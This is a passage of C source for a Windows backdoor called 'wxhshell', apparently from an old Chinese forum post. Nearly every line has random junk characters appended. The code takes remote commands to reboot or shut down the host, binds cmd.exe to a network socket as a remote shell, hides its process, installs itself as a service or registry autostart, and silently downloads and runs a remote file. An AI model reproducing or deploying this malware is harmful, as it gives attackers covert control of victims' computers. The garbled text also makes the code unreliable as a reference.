=>? ;Iv'Z  
    switch(cmd[0]) { ]><K8N3Z  
  u/wWP4'$J@  
  // 帮助 w}8 ,ICL  
  case '?': { @uh^)6i]/  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); %7w=;]ym  
    break; 1NHiW v  
  } LtIR)EtB]  
  // 安装  ?cG~M|@  
  case 'i': { v|!u]!JM  
    if(Install()) ///  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); a0wSXd  
    else Vd+qi~kA  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ^T?zR7r  
    break; m:6^yfS  
    } =`MxgK +  
  // 卸载 ,/fB~On-  
  case 'r': { [b2KBww\  
    if(Uninstall()) [Rj_p&'  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~Q+E""  
    else DOaTp f  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); k.."_ 4  
    break; .OyzM  
    } FT F`-}Hz  
  // 显示 wxhshell 所在路径 <E2n M,  
  case 'p': { x?"+Or.h  
    char svExeFile[MAX_PATH]; ut*sx9l  
    strcpy(svExeFile,"\n\r"); &GfDo4$  
      strcat(svExeFile,ExeFile); >Ut4INV  
        send(wsh,svExeFile,strlen(svExeFile),0); #\zC|%2+z  
    break; whW% c8  
    } .OM^@V~T  
  // 重启 'bQjJRq!  
  case 'b': { YigDrW  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); yI{4h $c  
    if(Boot(REBOOT)) ]lqe,>  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); /;X+<Wj  
    else { 1 u~Xk?  
    closesocket(wsh); )MWbZAI  
    ExitThread(0); Hk 0RT%PK  
    } z%q)}$O  
    break; _'mK=`>u  
    } TpGnSD  
  // 关机 Z ~3  
  case 'd': { y$K[ArqX  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); \S_o{0ZY}  
    if(Boot(SHUTDOWN)) t" $#KP<  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); {9XN\v=$"*  
    else { yog(  
    closesocket(wsh); >^~W'etX|  
    ExitThread(0); Ln$= 8x^T  
    } Aa`R40yl  
    break; 8U)*kmq  
    } "oT&KW   
  // 获取shell Kgw, ]E&7  
  case 's': { {+^&7JX  
    CmdShell(wsh); c6Z"6-}$  
    closesocket(wsh); o_sb+Vn|  
    ExitThread(0); 3rj7]:Vr  
    break; U?xa^QVhj  
  } S[e> 8  
  // 退出 ++!'6! l  
  case 'x': { Oj>;[O"  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Y#zHw< <E  
    CloseIt(wsh); >aAsUL5W  
    break; ' j\~> a3\  
    } +F92_a4  
  // 离开 r]deVd G  
  case 'q': { a] P0PH~  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ,R}9n@JI^Y  
    closesocket(wsh); &S=xSs:q.  
    WSACleanup(); he|.Ow  
    exit(1); W+i&!'  
    break; X- j@#Qb  
        } VQI[ J  
  } *&~(>gNF,  
  } UmLBoy&*  
Q"QZ^!zRl  
  // 提示信息 )C$pjjo/`  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Z=be ki]  
} i|xC#hV  
  } `Krk<G  
d^Rea8  
  return; t]hfq~Ft  
} ,rX|_4 n*  
1fTf+P  
// shell模块句柄 s;#,c(   
int CmdShell(SOCKET sock) m$VCCDv  
{ i,mZg+;w  
STARTUPINFO si; j/F:j5O*  
ZeroMemory(&si,sizeof(si)); :Q}Zb,32  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; L]E.TvM1*  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; i7mo89S  
PROCESS_INFORMATION ProcessInfo; RBpv40n0  
char cmdline[]="cmd"; C6qGCzlG`  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ^;[^L=}8$  
  return 0; jd.w7.8  
} ~En]sj  
De\Ocxx  
// 自身启动模式 ^fP5@T*f  
int StartFromService(void) aWY#gI{  
{ 7w}]9wCN?  
typedef struct "(iQ-g Mm  
{ l)f 2T@bHl  
  DWORD ExitStatus; \eXuNv_  
  DWORD PebBaseAddress; w& )ApfL  
  DWORD AffinityMask; x_- SAyH  
  DWORD BasePriority; _opB,,G  
  ULONG UniqueProcessId; ^*F'[!. p  
  ULONG InheritedFromUniqueProcessId; Pu(kCH{  
}   PROCESS_BASIC_INFORMATION; -HRa6  
YoSBS   
PROCNTQSIP NtQueryInformationProcess; nq\~`vH|Gd  
\)cbg#v  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 2+yti,s+/  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 6%MM)Vj+u  
\^dYmU  
  HANDLE             hProcess; e"ClG/M_XS  
  PROCESS_BASIC_INFORMATION pbi; _Nf%x1m5s  
c1<jY~U  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); vofBS   
  if(NULL == hInst ) return 0; !T.yv5ge'  
/5~j"| U'  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 1 0tt':  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); B3p79 j  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); VP^{-mDph  
~n%]u! 6  
  if (!NtQueryInformationProcess) return 0; cK75Chsu  
%Lom#:L'  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); " t,ZO  
  if(!hProcess) return 0; 1~S'' [  
jWK>=|)=c  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ?+L7Bd(EF%  
vkLyGb7r<  
  CloseHandle(hProcess); oot kf=  
!*}E  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); rfOrh^  
if(hProcess==NULL) return 0; Fu65VLKh  
?}No'E1!I  
HMODULE hMod; =_[Ich,}  
char procName[255]; |9mGX9q  
unsigned long cbNeeded; 9L>ep&u)^  
7lAnGP.;  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); rGzGbI=  
wpOM~!9R  
  CloseHandle(hProcess); 9w-;d=(Q  
'Ecd\p  
if(strstr(procName,"services")) return 1; // 以服务启动 j:0< tj E  
$Q`\-  
  return 0; // 注册表启动 JR|P]}  
} R".*dC,0'B  
%Z yt;p2  
// 主模块 oSH]TL2@Cd  
int StartWxhshell(LPSTR lpCmdLine) *s!T$oc  
{ D\  P-|}  
  SOCKET wsl; QLZ%m$Z  
BOOL val=TRUE; M2M&L,/O  
  int port=0; 7/bF0 4~%  
  struct sockaddr_in door; ) Hqn  
.FvIT] k-  
  if(wscfg.ws_autoins) Install(); #3YYE5cB  
XZxzw*Y1J  
port=atoi(lpCmdLine); $ 3R5p  
FeJKXYbk<  
if(port<=0) port=wscfg.ws_port; xsg55`  
PBAQ KQ  
  WSADATA data; vcSb:('  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; h[gKyxZ/t  
>x${I`2w  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   n&FRjq9y  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); tS[@?qP  
  door.sin_family = AF_INET; "O%xQ N  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); $3(E0\#O  
  door.sin_port = htons(port); B`|H }KU  
m!:sDQn{3  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { qhNYQ/uS  
closesocket(wsl); ?DC;Hk<  
return 1; K}Lu1:~  
} %Pk@`t(3  
(?z"_\^n/  
  if(listen(wsl,2) == INVALID_SOCKET) { %kiPE<<x  
closesocket(wsl); U z MIm  
return 1; z_87 ;y;=  
} 9j$J}=y  
  Wxhshell(wsl); x-SYfvYY  
  WSACleanup(); 86~q pN  
-nk0Q_7N  
return 0; b IZi3GmRF  
KOD%>+vG$  
} E1>zKENN;  
iuEQ?fp  
// 以NT服务方式启动 Ai5D[ykX  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) >>0c)uC|W  
{ .Yxf0y?uv  
DWORD   status = 0; a`zw5  
  DWORD   specificError = 0xfffffff; >('Z9<|r:  
'h;x>r  
  serviceStatus.dwServiceType     = SERVICE_WIN32; r'& 6P-Vm  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; r#WAS2.TP  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 79>_aD9  
  serviceStatus.dwWin32ExitCode     = 0; RTeG\U  
  serviceStatus.dwServiceSpecificExitCode = 0; usI$  
  serviceStatus.dwCheckPoint       = 0; [2nPr^  
  serviceStatus.dwWaitHint       = 0; jLreN#:9  
"y=AVO  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ~9dAoILrl  
  if (hServiceStatusHandle==0) return; Z_[jah  
-P=Hp/ELi  
status = GetLastError(); b "5WsJ:'#  
  if (status!=NO_ERROR) ,98`tB0  
{ 3H@29TrJ+  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; TS;?>J-  
    serviceStatus.dwCheckPoint       = 0; >y iE}  
    serviceStatus.dwWaitHint       = 0; C07U.nzh  
    serviceStatus.dwWin32ExitCode     = status; firiYL"=44  
    serviceStatus.dwServiceSpecificExitCode = specificError; +U,>D +  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); C/A~r  
    return; \k*h& :$  
  } 1<3!   
Y(P <9 m:  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; =bB7$#al  
  serviceStatus.dwCheckPoint       = 0; >O}J*4A>+#  
  serviceStatus.dwWaitHint       = 0; a1# 'uS9W  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ;n=A245W\  
} }A'Ro/n  
t+Hx&_pMj  
// 处理NT服务事件,比如:启动、停止 ?FwjbG<  
VOID WINAPI NTServiceHandler(DWORD fdwControl) S*?x|&a  
{ P(Ve' wOaf  
switch(fdwControl) :]^FTnO  
{ {]dH+J7  
case SERVICE_CONTROL_STOP: ELQc: t -2  
  serviceStatus.dwWin32ExitCode = 0; 41jlfKiOm  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ]*JH~.p  
  serviceStatus.dwCheckPoint   = 0; Blnc y  
  serviceStatus.dwWaitHint     = 0; T&~7*j(|e  
  { keL!;q|r-)  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); SjB#"A5  
  } {>R'IjFc  
  return; 5RhP^:i@C  
case SERVICE_CONTROL_PAUSE: XbKNH>  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; uV+.(sjH  
  break; j9/Ev]im|F  
case SERVICE_CONTROL_CONTINUE: B[nkE+s  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; {Qr0pjE7R  
  break; hz~jyH.h_  
case SERVICE_CONTROL_INTERROGATE: ;f)o_:(JJ  
  break; Vm <9/UG<  
}; Z* L{;  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); A%c)=(,  
} @O%d2bgEWV  
1I -LGe[Q  
// 标准应用程序主函数 +qzCy/_gd  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) }MV=I$S2U  
{ a5xmIp@6  
aj)?P  
// 获取操作系统版本 bD;c>5t  
OsIsNt=GetOsVer(); 8Q Nd t  
GetModuleFileName(NULL,ExeFile,MAX_PATH); CiSl 0  
jJDY l([  
  // 从命令行安装 c/\$AJV.H  
  if(strpbrk(lpCmdLine,"iI")) Install(); DTR/.Nr'K  
Zc9j_.?*  
  // 下载执行文件 ie%_-  
if(wscfg.ws_downexe) { Z 2x%  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK)  {!9i8T  
  WinExec(wscfg.ws_filenam,SW_HIDE); .A2u7*h&  
} R1=ir# U|D  
ko%B`  
if(!OsIsNt) { ';hTGLq\X  
// 如果时win9x,隐藏进程并且设置为注册表启动 q"Z!}^{  
HideProc(); wuQ>|\Zs  
StartWxhshell(lpCmdLine); >7^+ag~&  
} bG6<=^  
else p!~{<s]  
  if(StartFromService()) %g<J"/  
  // 以服务方式启动 6b8@6;&LI  
  StartServiceCtrlDispatcher(DispatchTable); a|v}L,  
else X;?Z_3I:5  
  // 普通方式启动 mzX <!  
  StartWxhshell(lpCmdLine); KtFxG6a  
.V\ M/q\Tv  
return 0; 0y3<Ho,+$  
}
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只看该作者 1 发表于: 2006-10-10
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